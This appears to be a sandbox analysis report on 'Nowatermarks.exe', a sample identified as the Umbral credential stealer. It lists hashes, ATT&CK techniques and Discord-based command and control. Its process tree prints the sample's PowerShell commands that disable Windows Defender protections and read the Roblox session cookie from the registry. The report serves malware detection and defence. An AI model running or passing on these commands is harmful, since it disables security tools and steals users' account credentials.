umbral | 4916686177420dca945e81aebaf2fc098c21ddb74fbbf9d0f6f2adaf37f218e8

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09-08-2024 17:20

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09-08-2024 17:16

240809-vtg5fsxblb 10

08-08-2024 19:08

240808-xtpkmsxgmn 10

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
08-08-2024 19:08

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General

Target

Nowatermarks.exe
Size

227KB
MD5

926ac9e42778634f5c2580a913d83f62
SHA1

e36c92f542a4c010c9cbbdb91df84ec2e16ac62f
SHA256

4916686177420dca945e81aebaf2fc098c21ddb74fbbf9d0f6f2adaf37f218e8
SHA512

e415af55a761d060dfd56f77491d853edb806c5e2337460fb7df8ac76f986e7a89904caa913b56fcbf19e0f3e084a71ef1a13336cf7aa73cdd52c342ff8375c6
SSDEEP

6144:+loZMCrIkd8g+EtXHkv/iD475jhDJ6idOIJbGmTLFb8e1mYi:ooZZL+EP875jhDJ6idOIJbGmTJu

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2328-1-0x0000000000CF0000-0x0000000000D30000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2276	powershell.exe
2604	powershell.exe
444	powershell.exe
2876	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1628	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2876	powershell.exe
2276	powershell.exe
2604	powershell.exe
2352	powershell.exe
444	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	Nowatermarks.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeIncreaseQuotaPrivilege	552	wmic.exe
Token: SeSecurityPrivilege	552	wmic.exe
Token: SeTakeOwnershipPrivilege	552	wmic.exe
Token: SeLoadDriverPrivilege	552	wmic.exe
Token: SeSystemProfilePrivilege	552	wmic.exe
Token: SeSystemtimePrivilege	552	wmic.exe
Token: SeProfSingleProcessPrivilege	552	wmic.exe
Token: SeIncBasePriorityPrivilege	552	wmic.exe
Token: SeCreatePagefilePrivilege	552	wmic.exe
Token: SeBackupPrivilege	552	wmic.exe
Token: SeRestorePrivilege	552	wmic.exe
Token: SeShutdownPrivilege	552	wmic.exe
Token: SeDebugPrivilege	552	wmic.exe
Token: SeSystemEnvironmentPrivilege	552	wmic.exe
Token: SeRemoteShutdownPrivilege	552	wmic.exe
Token: SeUndockPrivilege	552	wmic.exe
Token: SeManageVolumePrivilege	552	wmic.exe
Token: 33	552	wmic.exe
Token: 34	552	wmic.exe
Token: 35	552	wmic.exe
Token: SeIncreaseQuotaPrivilege	552	wmic.exe
Token: SeSecurityPrivilege	552	wmic.exe
Token: SeTakeOwnershipPrivilege	552	wmic.exe
Token: SeLoadDriverPrivilege	552	wmic.exe
Token: SeSystemProfilePrivilege	552	wmic.exe
Token: SeSystemtimePrivilege	552	wmic.exe
Token: SeProfSingleProcessPrivilege	552	wmic.exe
Token: SeIncBasePriorityPrivilege	552	wmic.exe
Token: SeCreatePagefilePrivilege	552	wmic.exe
Token: SeBackupPrivilege	552	wmic.exe
Token: SeRestorePrivilege	552	wmic.exe
Token: SeShutdownPrivilege	552	wmic.exe
Token: SeDebugPrivilege	552	wmic.exe
Token: SeSystemEnvironmentPrivilege	552	wmic.exe
Token: SeRemoteShutdownPrivilege	552	wmic.exe
Token: SeUndockPrivilege	552	wmic.exe
Token: SeManageVolumePrivilege	552	wmic.exe
Token: 33	552	wmic.exe
Token: 34	552	wmic.exe
Token: 35	552	wmic.exe
Token: SeIncreaseQuotaPrivilege	1420	wmic.exe
Token: SeSecurityPrivilege	1420	wmic.exe
Token: SeTakeOwnershipPrivilege	1420	wmic.exe
Token: SeLoadDriverPrivilege	1420	wmic.exe
Token: SeSystemProfilePrivilege	1420	wmic.exe
Token: SeSystemtimePrivilege	1420	wmic.exe
Token: SeProfSingleProcessPrivilege	1420	wmic.exe
Token: SeIncBasePriorityPrivilege	1420	wmic.exe
Token: SeCreatePagefilePrivilege	1420	wmic.exe
Token: SeBackupPrivilege	1420	wmic.exe
Token: SeRestorePrivilege	1420	wmic.exe
Token: SeShutdownPrivilege	1420	wmic.exe
Token: SeDebugPrivilege	1420	wmic.exe
Token: SeSystemEnvironmentPrivilege	1420	wmic.exe
Token: SeRemoteShutdownPrivilege	1420	wmic.exe
Token: SeUndockPrivilege	1420	wmic.exe
Token: SeManageVolumePrivilege	1420	wmic.exe
Token: 33	1420	wmic.exe
Token: 34	1420	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2876	2328	Nowatermarks.exe	30
PID 2328 wrote to memory of 2876	2328	Nowatermarks.exe	30
PID 2328 wrote to memory of 2876	2328	Nowatermarks.exe	30
PID 2328 wrote to memory of 2276	2328	Nowatermarks.exe	32
PID 2328 wrote to memory of 2276	2328	Nowatermarks.exe	32
PID 2328 wrote to memory of 2276	2328	Nowatermarks.exe	32
PID 2328 wrote to memory of 2604	2328	Nowatermarks.exe	34
PID 2328 wrote to memory of 2604	2328	Nowatermarks.exe	34
PID 2328 wrote to memory of 2604	2328	Nowatermarks.exe	34
PID 2328 wrote to memory of 2352	2328	Nowatermarks.exe	36
PID 2328 wrote to memory of 2352	2328	Nowatermarks.exe	36
PID 2328 wrote to memory of 2352	2328	Nowatermarks.exe	36
PID 2328 wrote to memory of 552	2328	Nowatermarks.exe	38
PID 2328 wrote to memory of 552	2328	Nowatermarks.exe	38
PID 2328 wrote to memory of 552	2328	Nowatermarks.exe	38
PID 2328 wrote to memory of 1420	2328	Nowatermarks.exe	41
PID 2328 wrote to memory of 1420	2328	Nowatermarks.exe	41
PID 2328 wrote to memory of 1420	2328	Nowatermarks.exe	41
PID 2328 wrote to memory of 1092	2328	Nowatermarks.exe	43
PID 2328 wrote to memory of 1092	2328	Nowatermarks.exe	43
PID 2328 wrote to memory of 1092	2328	Nowatermarks.exe	43
PID 2328 wrote to memory of 444	2328	Nowatermarks.exe	45
PID 2328 wrote to memory of 444	2328	Nowatermarks.exe	45
PID 2328 wrote to memory of 444	2328	Nowatermarks.exe	45
PID 2328 wrote to memory of 1628	2328	Nowatermarks.exe	47
PID 2328 wrote to memory of 1628	2328	Nowatermarks.exe	47
PID 2328 wrote to memory of 1628	2328	Nowatermarks.exe	47

C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe
"C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1420
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:444
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N8FGY07ROES8EH7UJEX9.temp

Filesize
7KB

MD5
84202321f326a025f1de4bfeb3f2b720

SHA1
e16947c5065bb8ed26eade71e33d4807b614bd82

SHA256
99f166e7350821c67b42a9b0b11a4bd4398d0f01de7bb3bc204f0c8d0db3a03b

SHA512
be33f82329b47875483c287fe7ccedffe3cf82f176b26bb3263aba8f2e45c7c73ca49e34642e39d40a33bc266f2e539e0cfc34a065b00ae85dd71f469be80a40

Download Submit
memory/2276-22-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2276-21-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2328-1-0x0000000000CF0000-0x0000000000D30000-memory.dmp

Filesize
256KB

Download
memory/2328-2-0x000007FEF4EE0000-0x000007FEF58CC000-memory.dmp

Filesize
9.9MB

Download
memory/2328-51-0x000007FEF4EE0000-0x000007FEF58CC000-memory.dmp

Filesize
9.9MB

Download
memory/2328-0-0x000007FEF4EE3000-0x000007FEF4EE4000-memory.dmp

Filesize
4KB

Download
memory/2876-10-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-13-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-14-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-15-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-12-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-11-0x000007FEEC3B0000-0x000007FEECD4D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-8-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2876-9-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2876-7-0x000007FEEC66E000-0x000007FEEC66F000-memory.dmp

Filesize
4KB

Download